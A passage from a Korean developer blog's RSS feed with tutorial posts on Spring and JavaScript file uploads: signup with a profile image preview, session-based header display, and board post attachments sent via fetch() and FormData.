&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;537&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/owfIk/btsOQIX6Sfi/dTCSC9b0141auZ4K4qE4C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/owfIk/btsOQIX6Sfi/dTCSC9b0141auZ4K4qE4C1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/owfIk/btsOQIX6Sfi/dTCSC9b0141auZ4K4qE4C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FowfIk%2FbtsOQIX6Sfi%2FdTCSC9b0141auZ4K4qE4C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;537&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;537&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 코드는 회원가입 버튼에 onclick 속성으로 설정된 메서드 join() 메서드이다. 해당 메서드에서는 document.querySelector() 메서드를 통해서 사용자가 input태그에 입력한 아이디, 비밀번호, 닉네임 태그에 .value를 통해서 값을 변수에 받아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 추가로 프로필 사진을 업로드하는 type = &quot;file&quot; 의 input 태그는 .files를 통해서 배열형태로 받아내고 해당 인풋태그에서는 다중 파일선택이 불가능 하고 하나의 파일만 선택 되도록 해놨으므로 0번 인덱스의 파일객체를 file에 할당한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 회원가입 요청을 보내기 위해서 Post 방식의 url을 설정하는데 이때 body에 이때까지 넣었던 JSON 형태의 파일이 아닌 FormData 객체(fd)를 넣어 요청패킷을 보낸다. fd는 .append() 메서드를 통해서 (키, 밸류) 형태로 객체에 값을 담아줄 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이떄 당연히 서버측 파라미터로 객체 데이터를 받을 때, 해당 객체의 필드명과 키 이름이 동일해야 참조가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfF3dT/btsOSdoI5eV/E8rkLBmlHygGrP1RVCHtZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfF3dT/btsOSdoI5eV/E8rkLBmlHygGrP1RVCHtZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfF3dT/btsOSdoI5eV/E8rkLBmlHygGrP1RVCHtZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfF3dT%2FbtsOSdoI5eV%2FE8rkLBmlHygGrP1RVCHtZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;518&quot; height=&quot;328&quot; data-origin-width=&quot;518&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 fetch 함수를 통해서 서버에 회원가입 요청을 보내고 서버측 join() 메서드가 끝나면 resp를 응답받는다. ResponseEntity.status를 통해서 resp에서 status 추출이 가능하므로 alert() 메서드를 통해서 상태를 출력하고 다시 body에 담았던 결과에대한 데이터는 data로 설정하여 조건문을 통해서 성공과 실패에 대해서 메세지와 포워딩 해줄지 말지를 결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBpAWS/btsOQlPEjVI/mhzDPFpBSk6EQu5K89NoG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBpAWS/btsOQlPEjVI/mhzDPFpBSk6EQu5K89NoG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBpAWS/btsOQlPEjVI/mhzDPFpBSk6EQu5K89NoG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBpAWS%2FbtsOQlPEjVI%2FmhzDPFpBSk6EQu5K89NoG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1210&quot; height=&quot;362&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 페이지가 다음처럼 되어있을때 회원가입은 충분히 되지만 파일을 선택했을 때, 미리보기 기능이 있으면 좋을 것 같다. 그래서 파일 선택 인풋 태그에 onChange 메서드를 통해서 파일이 등록되면 사진을 보여줄 수 있도록 하는 기능을 js로 구현이 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;27&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BruY1/btsOQla4vJy/6xjOlln0fg41XWmZ80eXm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BruY1/btsOQla4vJy/6xjOlln0fg41XWmZ80eXm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BruY1/btsOQla4vJy/6xjOlln0fg41XWmZ80eXm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBruY1%2FbtsOQla4vJy%2F6xjOlln0fg41XWmZ80eXm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;27&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;27&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 페이지 jsp에 다음과 같이 onchange 속성을 통해서 메서드를 설정하였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J5bG3/btsOQ912GGQ/cumf1hfPkvvblj2NB58Ek1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J5bG3/btsOQ912GGQ/cumf1hfPkvvblj2NB58Ek1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J5bG3/btsOQ912GGQ/cumf1hfPkvvblj2NB58Ek1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ5bG3%2FbtsOQ912GGQ%2Fcumf1hfPkvvblj2NB58Ek1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;514&quot; height=&quot;466&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 메서드는 input 태그에 있는 파일을 가지고 와서 FileReader()를 통해서 파일을 읽어낼 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fr.readAsDataURL(file)을 통해서 업로드된 파일을 fr에 읽도록 시키고&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일리더 객체에 이벤트리스너를 통해서 파일을 모두 읽었을 때 (&quot;load&quot;) preview 요소(img태그) 의 src 속성을 파일을 모두 읽은 fr객체의 결과로 설정한다. 그러면 다음과 같이 이미지 출력이 올바르게 잘 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;321&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rJVlF/btsOQlIVxqD/E9GEYJAkCxcLfD0RYSRRZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rJVlF/btsOQlIVxqD/E9GEYJAkCxcLfD0RYSRRZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rJVlF/btsOQlIVxqD/E9GEYJAkCxcLfD0RYSRRZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrJVlF%2FbtsOQlIVxqD%2FE9GEYJAkCxcLfD0RYSRRZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;321&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;321&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 완료 후에 로그인을 통해서 fixed 헤더 우측 상단에 내 닉네임과 프로필사진을 보여주려는 기능이 필요했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pt7Gj/btsOQz1cnEP/l0MDTtUEgN1uSSzzxNVUo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pt7Gj/btsOQz1cnEP/l0MDTtUEgN1uSSzzxNVUo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pt7Gj/btsOQz1cnEP/l0MDTtUEgN1uSSzzxNVUo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPt7Gj%2FbtsOQz1cnEP%2Fl0MDTtUEgN1uSSzzxNVUo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;383&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인이 되었을때 HttpSession을 통해서 내가 로그인 했던 계정 정보를 토대로 서버에 위치해 있는 프로필 파일을 저장하고 있는 디렉토리 경로와 회원가입할때 같이 계정정보에 등록됐던 난수형태의 파일명을 더한 파일경로를 userVo 객체에 setter로 할당하고, 세션을 setAttribute() 메서드를 통해서 생성해 주면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;321&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oPciL/btsOSxUQ2ri/jkjVRuuQuKCQQJWM2mQWg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oPciL/btsOSxUQ2ri/jkjVRuuQuKCQQJWM2mQWg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oPciL/btsOSxUQ2ri/jkjVRuuQuKCQQJWM2mQWg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoPciL%2FbtsOSxUQ2ri%2FjkjVRuuQuKCQQJWM2mQWg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;852&quot; height=&quot;321&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;321&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;그리고 헤더.jsp 파일에서 세션에 있는 파일 경로를 img태그의 src 속성으로 넣어주고 닉네임도 참조해서 불러오면 된다.&lt;/p&gt;</description>
      <category>Spring</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/22</guid>
      <comments>https://dev-jong.tistory.com/22#entry22comment</comments>
      <pubDate>Wed, 25 Jun 2025 20:25:43 +0900</pubDate>
    </item>
    <item>
      <title>[Spring + Javascript] fetch()를 활용한 api방식 웹페이지 파일처리 (4)</title>
      <link>https://dev-jong.tistory.com/21</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;해당 게시물에서는 자바스크립트 fetch() 함수를 통한 비동기 api 웹페이지 파일처리 방식에 대해서 알아보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[페이지 포워딩을 위한 BoardController 클래스]&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9rXmG/btsOMqXCOLu/FkYSSwuy3TyCzi0IQqezNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9rXmG/btsOMqXCOLu/FkYSSwuy3TyCzi0IQqezNk/img.png&quot; data-alt=&quot;BoardController&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9rXmG/btsOMqXCOLu/FkYSSwuy3TyCzi0IQqezNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9rXmG%2FbtsOMqXCOLu%2FFkYSSwuy3TyCzi0IQqezNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;370&quot; height=&quot;368&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardController&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;해당 클래스에서는 board/insert 그리고 board/detail/*에 대해서 페이지 포워딩을 진행하는 클래스이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시물 등록을 위한 페이지는 board/insert 요청이 들어왔을때 insert.jsp를 포워딩해줄 것이고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시물 상세페이지는 board/detail/* 요청이 들어왔을때 detail.jsp를 포워딩 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 게시물 내용과 파일등록을 위한 jsp 파일코드를 살펴보자.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[게시물 내용과 파일 첨부를 위한 insert.jsp]&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI91IO/btsOMQBLivk/hZk6ltiF6XSu1zKXpyNGyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI91IO/btsOMQBLivk/hZk6ltiF6XSu1zKXpyNGyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI91IO/btsOMQBLivk/hZk6ltiF6XSu1zKXpyNGyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI91IO%2FbtsOMQBLivk%2FhZk6ltiF6XSu1zKXpyNGyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;691&quot; height=&quot;302&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 코드에서는 브라우저에서 서버로 데이터를 보내기 위한 형식의 태그가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목과 내용 은 이전과 동일하게 input 태그와 textarea를 통해서 입력을 받고, 게시글 작성 버튼에 대해서는 button type을 통해서 onclick 속성에 insertBoard() 메서드를 설정하여 자바스크립트 fetch 함수를 통해서 비동기 처리를 할 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(그래서 form 태그에는 주석이 달려있음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 글에서 가장 중요한 파일첨부에 대한 태그는 input 태그에 type속성으로 file로 설정하면 브라우저에서 파일 첨부가 가능하도록 해준다. 파일 첨부 태그에 대해서는 네임을 &quot;f&quot;로 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[insertBoard() 메서드가 담긴 자바스크립트 코드 insert.js]&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;625&quot; data-origin-height=&quot;769&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLfICN/btsONb6Hm3f/uE3EZNCPAAPZRbn8XyIuN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLfICN/btsONb6Hm3f/uE3EZNCPAAPZRbn8XyIuN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLfICN/btsONb6Hm3f/uE3EZNCPAAPZRbn8XyIuN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLfICN%2FbtsONb6Hm3f%2FuE3EZNCPAAPZRbn8XyIuN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;625&quot; height=&quot;769&quot; data-origin-width=&quot;625&quot; data-origin-height=&quot;769&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 jsp파일을 포워딩 받은 상태에서 제목,내용,파일첨부하고 게시물 버튼을 누르게 되었을때 onclick 속성으로 실행되는 insertBoard() 메서드이다. 해당 메서드에서는 document.querySelector() 를 통해서 element를 참조하고 제목과 내용에 대해서는 .value를 통해서 값을 가져온다. 그리고 첨부된 파일에대해서는 fileTag라는 변수에 파일이 담기는 input 요소를 담고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;files[0]을 통해서 files에 어떤 파일이 담겼는지 받아낸다. 해당 게시물에서는 파일 하나만 선택되도록 구현하였으므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 진행한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;만약 insert.jsp에 파일을 담는 input 태그에 옵션으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;multiple을 설정하였다면 사용자는 여러 파일을 선택해서 담을 수 있으며변수 files는 배열형태로 받아진다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;파일을 담아주기 위해서 이제는 단순한 객체가 아닌 new FormData(); 를 통해 fd 객체를 생성하고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;fd객체에 append 메서드를 통해서 (key, value) 형식으로 객체에 값을 담아줄 수 있다. FormData()로 생성된 객체는 form 태그 없이도 form과 같은 역할을 해주어 서버에서 요청처리 메서드의 파라미터에 적는 @RequestBody를 적어주지 않고 데이터를 받아올 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;해당 코드에서는 파일이 단순히 하나만 처리하도록 되어있어서 다음과 같이 파일에 대해서 한번만 append() 메서드를 사용하지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 말했던 여러 파일을 다뤄야 하는 경우에는 다음 코드와 같이 for of문을 통해서 배열 files 에 대해서 file 하나씩 꺼내서&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fd에 append() 메서드를 사용해주어야 한다. 그러면 당연히 f에 대해서 서버에서 리스트와 같은 형태로 해당 데이터를 받아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 돌아와서, fetch 함수에 파라미터로 들어가는 url과 option으로는 api/board 요청에 대해서 POST 방식으로 바디에 사용자의 입력과 파일이 담긴 fd 설정하고 fetch 비동기 함수를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[fetch()함수를 통한 요청을 처리하는 BoardApiController]&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;605&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr7EO0/btsOM47DpmF/6HZkdWrAxCP5IM14hmoAc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr7EO0/btsOM47DpmF/6HZkdWrAxCP5IM14hmoAc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr7EO0/btsOM47DpmF/6HZkdWrAxCP5IM14hmoAc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcr7EO0%2FbtsOM47DpmF%2F6HZkdWrAxCP5IM14hmoAc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;838&quot; height=&quot;605&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;605&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch에서 게시물 작성을 위해서 POST방식의 api/board 요청을 처리하는 insert() 메서드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@PostMapping 어노테이션을 통해서 insert() 메서드가 작동하도록하고, @RestController를 통해서 해당 클래스가 Controller임과 다시 자바스크립트로 응답을 보낼 때, 페이지 포워딩이 아닌 데이터(값)을 그대로 보내기 위해서 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@RequiredArgsconstructor 어노테이션을 통해서 의존성주입(DI)을 위한 생성자를 자동으로 실행하도록 하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 insert()&amp;nbsp; 메서드 파라미터에 담긴 BoardVo vo와 MultipartFile f는 fetch() 메서드를 통해서 요청이 보내질 때 담긴 fd로 부터 값이 받아와진다.&lt;/p&gt;
